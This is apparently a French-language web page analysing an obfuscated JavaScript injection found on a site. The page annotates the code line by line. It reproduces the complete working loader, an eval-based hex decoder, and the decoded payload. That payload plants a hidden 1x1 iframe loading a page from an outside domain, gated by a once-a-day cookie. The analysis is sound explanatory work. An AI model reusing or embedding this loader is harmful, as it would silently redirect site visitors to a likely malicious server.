1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113
| <!--0c0896-->
<script type="text/javascript" language="javascript" >
bv=(5-3-1); //bv=1
aq="0"+"x"; //aq="0x" préfixe pour les nombres hexadécimaux en javascript
sp="spli"+"t"; // sp pour la fonction split
ff=String.fromCharCode; // ff pour la fonction permettant d'afficher un caractère depuis son code hexadécimal - bizarrement cette commande n'est pas offusquée
w=window; // w pointe sur l'objet window
z="dy"; // fin du mot body, voir ligne suivante
try
{document["\x62o"+z]++}
/* va être remplacé par {document["body"]++} --> renvoie :"Exception: Value not an object." sur firefox. Visblement cela sert à tester si l'on est dans un navigateur
auquel cas une exception sera renvoyée et on entrera dans le catch*/
catch(d21vd12v)
{
vzs=false;
v=123;
try
{document;} // second test sur l'objet document, cette fois seul, auquel cas vzs conserve la valeur booléenne "false"
catch(wb)
{vzs=2;} // si le script n'est pas dans le contexte d'un navigateur, vzs prend une valeur qui sera évaluée à true
if(!vzs) // nous sommes dans un navigateur
{
e=w["eval"]; //on affecte à e la fonction window.eval
}
if(1) // toujours vrai (true)
{
f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,65,60,6c,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,65,60,6c,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,5b,58,6d,60,5b,64,5e,6c,6b,60,5c,69,69,5c,71,25,5a,66,64,26,40,1d,49,26,5a,65,6b,25,67,5f,67,1e,32,4,1,17,65,60,6c,25,6a,6b,70,63,5c,25,67,66,6a,60,6b,60,66,65,17,34,17,1e,58,59,6a,66,63,6c,6b,5c,1e,32,4,1,17,65,60,6c,25,6a,6b,70,63,5c,25,59,66,69,5b,5c,69,17,34,17,1e,27,1e,32,4,1,17,65,60,6c,25,6a,6b,70,63,5c,25,5f,5c,60,5e,5f,6b,17,34,17,1e,28,67,6f,1e,32,4,1,17,65,60,6c,25,6a,6b,70,63,5c,25,6e,60,5b,6b,5f,17,34,17,1e,28,67,6f,1e,32,4,1,17,65,60,6c,25,6a,6b,70,63,5c,25,63,5c,5d,6b,17,34,17,1e,28,67,6f,1e,32,4,1,17,65,60,6c,25,6a,6b,70,63,5c,25,6b,66,67,17,34,17,1e,28,67,6f,1e,32,4,1,4,1,17,60,5d,17,1f,18,5b,66,5a,6c,64,5c,65,6b,25,5e,5c,6b,3c,63,5c,64,5c,65,6b,39,70,40,5b,1f,1e,65,60,6c,1e,20,20,17,72,4,1,17,5b,66,5a,6c,64,5c,65,6b,25,6e,69,60,6b,5c,1f,1e,33,5b,60,6d,17,60,5b,34,53,1e,65,60,6c,53,1e,35,33,26,5b,60,6d,35,1e,20,32,4,1,17,5b,66,5a,6c,64,5c,65,6b,25,5e,5c,6b,3c,63,5c,64,5c,65,6b,39,70,40,5b,1f,1e,65,60,6c,1e,20,25,58,67,67,5c,65,5b,3a,5f,60,63,5b,1f,65,60,6c,20,32,4,1,17,74,4,1,74,4,1,5d,6c,65,5a,6b,60,66,65,17,4a,5c,6b,3a,66,66,62,60,5c,1f,5a,66,66,62,60,5c,45,58,64,5c,23,5a,66,66,62,60,5c,4d,58,63,6c,5c,23,65,3b,58,70,6a,23,67,58,6b,5f,20,17,72,4,1,17,6d,58,69,17,6b,66,5b,58,70,17,34,17,65,5c,6e,17,3b,58,6b,5c,1f,20,32,4,1,17,6d,58,69,17,5c,6f,67,60,69,5c,17,34,17,65,5c,6e,17,3b,58,6b,5c,1f,20,32,4,1,17,60,5d,17,1f,65,3b,58,70,6a,34,34,65,6c,63,63,17,73,73,17,65,3b,58,70,6a,34,34,27,20,17,65,3b,58,70,6a,34,28,32,4,1,17,5c,6f,67,60,69,5c,25,6a,5c,6b,4b,60,64,5c,1f,6b,66,5b,58,70,25,5e,5c,6b,4b,60,64,5c,1f,20,17,22,17,2a,2d,27,27,27,27,27,21,29,2b,21,65,3b,58,70,6a,20,32,4,1,17,5b,66,5a,6c,64,5c,65,6b,25,5a,66,66,62,60,5c,17,34,17,5a,66,66,62,60,5c,45,58,64,5c,22,19,34,19,22,5c,6a,5a,58,67,5c,1f,5a,66,66,62,60,5c,4d,58,63,6c,5c,20,4,1,17,22,17,19,32,5c,6f,67,60,69,5c,6a,34,19,17,22,17,5c,6f,67,60,69,5c,25,6b,66,3e,44,4b,4a,6b,69,60,65,5e,1f,20,17,22,17,1f,1f,67,58,6b,5f,20,17,36,17,19,32,17,67,58,6b,5f,34,19,17,22,17,67,58,6b,5f,17,31,17,19,19,20,32,4,1,74,4,1,5d,6c,65,5a,6b,60,66,65,17,3e,5c,6b,3a,66,66,62,60,5c,1f,17,65,58,64,5c,17,20,17,72,4,1,17,6d,58,69,17,6a,6b,58,69,6b,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,66,66,62,60,5c,25,60,65,5b,5c,6f,46,5d,1f,17,65,58,64,5c,17,22,17,19,34,19,17,20,32,4,1,17,6d,58,69,17,63,5c,65,17,34,17,6a,6b,58,69,6b,17,22,17,65,58,64,5c,25,63,5c,65,5e,6b,5f,17,22,17,28,32,4,1,17,60,5d,17,1f,17,1f,17,18,6a,6b,58,69,6b,17,20,17,1d,1d,4,1,17,1f,17,65,58,64,5c,17,18,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,66,66,62,60,5c,25,6a,6c,59,6a,6b,69,60,65,5e,1f,17,27,23,17,65,58,64,5c,25,63,5c,65,5e,6b,5f,17,20,17,20,17,20,4,1,17,72,4,1,17,69,5c,6b,6c,69,65,17,65,6c,63,63,32,4,1,17,74,4,1,17,60,5d,17,1f,17,6a,6b,58,69,6b,17,34,34,17,24,28,17,20,17,69,5c,6b,6c,69,65,17,65,6c,63,63,32,4,1,17,6d,58,69,17,5c,65,5b,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,66,66,62,60,5c,25,60,65,5b,5c,6f,46,5d,1f,17,19,32,19,23,17,63,5c,65,17,20,32,4,1,17,60,5d,17,1f,17,5c,65,5b,17,34,34,17,24,28,17,20,17,5c,65,5b,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,66,66,62,60,5c,25,63,5c,65,5e,6b,5f,32,4,1,17,69,5c,6b,6c,69,65,17,6c,65,5c,6a,5a,58,67,5c,1f,17,5b,66,5a,6c,64,5c,65,6b,25,5a,66,66,62,60,5c,25,6a,6c,59,6a,6b,69,60,65,5e,1f,17,63,5c,65,23,17,5c,65,5b,17,20,17,20,32,4,1,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1"[sp](",");
/* ici on construit un tableau f sur la base d'une syntaxe du type string.split (séparateur), avec "," comme séparateur
la syntaxe utilisée est plutôt "a,b,c"["split"](",") <=> string["split"](séparateur)
le résultat est un tableau f de 1324 lignes, contenant une série de caractères hexadécimaux sans le préfixe hexadécimal (0x)
*/
w=f; // on affecte f à la variable w
s=[]; // on crée un tableau vide s
for(i=2-2;-i+1324!=0;i+=1) //on peut traduire ici : for (i=0; i<1324;i++)
{
j=i;
if((0x19==031)) /*0x19 est une notation hexa, 031 est la notation octale en javascript. Ces 2 chiffres valent 25.
Visiblement cela sert à tester si notation hexa et octal sont supportées par le navigateur */
{
if(e) /*rappel : e vaut window.eval, plus précisément window["eval"]
c'est ici certainement un test supplémentaire pour vérifier la validité et l'accessibilité de window.eval dans le contexte d'exécution du script */
{
s+=ff(e(aq+(w[j]))+0xa-bv);
/*
rappel :
- ff équivaut à String.fromCharCode
- e équivaut à window.eval
- aq est le préfixe hexadécimal
- bv = 1
les codes de caractères fournis par le tableau précédent sont aussi offusqués de manière assez simple, avec un décalage de code hexa qui doit correspondre à
codehexareel = codehexatableau + +0xa-1
nous avons ci dessus la procédure complète de décodage de la chaine de caractère
voici cette chaine :
*** script malveillant ***
function zzzfff() {
var niu = document.createElement('iframe');
niu.src = 'http://davidmgutierrez.com/I&R/cnt.php';
niu.style.position = 'absolute';
niu.style.border = '0';
niu.style.height = '1px';
niu.style.width = '1px';
niu.style.left = '1px';
niu.style.top = '1px';
if (!document.getElementById('niu')) {
document.write('<div id=\'niu\'></div>');
document.getElementById('niu').appendChild(niu);
}
}
function SetCookie(cookieName,cookieValue,nDays,path) {
var today = new Date();
var expire = new Date();
if (nDays==null || nDays==0) nDays=1;
expire.setTime(today.getTime() + 3600000*24*nDays);
document.cookie = cookieName+"="+escape(cookieValue)
+ ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");
}
function GetCookie( name ) {
var start = document.cookie.indexOf( name + "=" );
var len = start + name.length + 1;
if ( ( !start ) &&
( name != document.cookie.substring( 0, name.length ) ) )
{
return null;
}
if ( start == -1 ) return null;
var end = document.cookie.indexOf( ";", len );
if ( end == -1 ) end = document.cookie.length;
return unescape( document.cookie.substring( len, end ) );
}
if (navigator.cookieEnabled)
{
if(GetCookie('visited_uq')==55){}else{SetCookie('visited_uq', '55', '1', '/');
zzzfff();
}
}
*** fin du script malveillant ***
*/
}
}
}
za=e; // za reprend la fonction e, donc window.eval
za(s) // la chaine ci dessus est exécutée, on peut essayer d'évaluer ce qu'elle fait exactement
}
</script><!--/0c0896--> |
Partager